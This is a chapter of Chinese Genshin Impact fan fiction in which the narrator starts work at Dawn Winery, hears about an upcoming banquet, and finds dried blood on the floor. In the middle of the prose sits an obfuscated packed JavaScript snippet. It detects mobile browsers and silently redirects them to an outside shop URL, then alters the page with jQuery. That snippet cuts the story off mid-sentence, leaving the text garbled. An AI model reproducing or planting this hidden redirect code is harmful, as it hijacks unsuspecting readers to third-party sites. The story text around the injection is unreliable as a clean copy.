九月,终于可以重新规划月行动表。我将晨曦酒庄的打杂工作列入表格,我们这边实行轮班制。
“噢,所以格伦接下来要去迪卢克老爷的酒庄打工了吗?”红色的发带如同兔耳朵般跃动着,它的主人还正吃着东西,嘴角还沾着饭粒。
我点点头,无声地将自己的帕子递给安柏,指尖点点自己的嘴角,安柏脸一红,接过了我的帕子,擦去了嘴角的米粒。
“迪卢克老爷虽然表面比较冷淡,但他对自己的下属都挺好的。”对面的凯亚一手拿着啤酒,一手撑着脸——让我还挺意外的,难得看到他做出这么松弛的表情和动作,平时他虽然总是笑着,但他总在注意着周围的一切变化。
所以说,为什么我们三人在猎鹿人聚餐会成为一种常态呢?说是“聚餐”可能不太准确,刚开始只是吃饭时会遇到,安柏会跟我坐一起,连带着凯亚也会跑过来。让我恍惚间有一种高中一起吃饭的闺蜜三人组的既视感。
回到正题——我们都知道凯亚曾经住在晨曦酒庄,跟迪卢克是义兄弟,所以虽然凯亚主动提起,我和安柏谁也没有继续深究。
“两边都是轮班制,这下我可以同时打两份工了。”我摸着下巴说。
“哈哈....格伦你真的好努力,我也要多多向你学习才行!”安柏攥紧拳头,露出被激励到的神色,“但是这样会不会太压榨身体了?”
是的,确实挺压榨的,比较两边都是体力活。而且我现在过着有今天没明天的日子,如果没有好好享受生活,而是每天都在996就太悲惨了。
再忍忍吧,爱你老己。这样肯定不是长久之计,必须找到破解这样的局面的办法。
我摇摇头:“我没事,不过我确实不打算长期这样,只是现在需要这样子而已。”
*
很快,我将迎来了在晨曦酒庄的第一天工作。
酒庄的仆人一般是有被安排仆人专门的住处的,由于蒙德城到酒庄的距离过于遥远,通勤时间可能有10个小时,我搭了商队的顺风车,也不是现代的汽车和平整的水泥地,那一路上可真是颠得人腰酸背痛的,一趟折腾下来,我终于再次来到了晨曦酒庄,工作期间会住在这里,结束以后就会返回蒙德城。
我暗暗咽下这股气,发誓一定要把传送锚点搞到手。没想到来提瓦特第一次差点被气哭是因为通勤。
天杀的,穿越者不是天选之子吗?我霹雳吧啦地收拾东西,手上的力道重了些。
穿越而来就要面对斩杀线。身为没有元素力就是一个普通人,还要恐惧那一天摩拉不小心用完突然嘎巴一下死掉。
女仆长爱德琳带领我们去了侍者居住的宿舍,从宿舍的环境来看,确实可以看出来,迪卢克对侍者们很不错,至少不是我想象中那些满是灰尘与霉菌,狭窄的环境。
我将行李袋砰的一声放在床上,鞋底在木地板上踏出沉闷的“咯咯”两声,放好行李,我走出房间,正好看到走廊上有其他几个人。
“嘿,你好啊!我叫佩妮~”一位脸上长着雀斑的女孩向我打招呼。
我点点头,“你好,我是格伦。”
“没想到这次酒庄紧急招人,听说是因为过几天有一场大宴会。”佩妮那一双棕色的眼睛滴溜溜的转,一张小嘴像快板一样说个不停。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437673|200993||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“那也不用招外人吧?”我小声跟佩妮说。
“你不懂,迪卢克姥爷人很好的。他有时候会安排一些岗位给贫困的人工作。”佩妮又走近了我一步,闲聊八卦让我们马上拉进了距离。
嗯,不错,有良心的资本家,也只会在这么理想化的世界中存在了。
佩妮有着一头卷发,脸上是可爱的雀斑,她像是一只快乐小狗一样,满身是活力与干劲。
她像是一阵狂风,把重要的和不重要的消息都刮了过来,呼呼给我几个嘴巴子,留我狼狈的从中筛选出重要的信息:五天后有一位从璃月远道而来的富商要与迪卢克老爷谈一个大生意。
因此,晨曦酒庄上下都动员了起来,人手不够就紧急招人手。
一到来,在接受了基础的教程之后,我们就火速投入了宴会的准备工作。
其中一项工作,就是要给这间大宅子的木地板打磨抛光,这可是一件苦差事,因为要跪在地上几个小时之久,而我就是那几位倒霉蛋之一。
我将水桶中的抹布拿出来拧干多余的水分,混合着沙砾,开始打磨地上顽固的污渍。有的地方仅有屋宅的主人会走动,因此相对比较干净;有的地方则有佣人与客人走动,比较脏,也很难打理。
我们几个打磨地板的人分头打扫,渐渐的已经看不到另外几个人的身影。
忽地,我却看到地毯上有几点暗红的印记,伸手去摸了一下,发现有点结块,触感有些硬。
是人血。
我第一反应这样判断。
但下一秒我却无法思考了。
因为我的眼前出现了一双黑色的皮靴。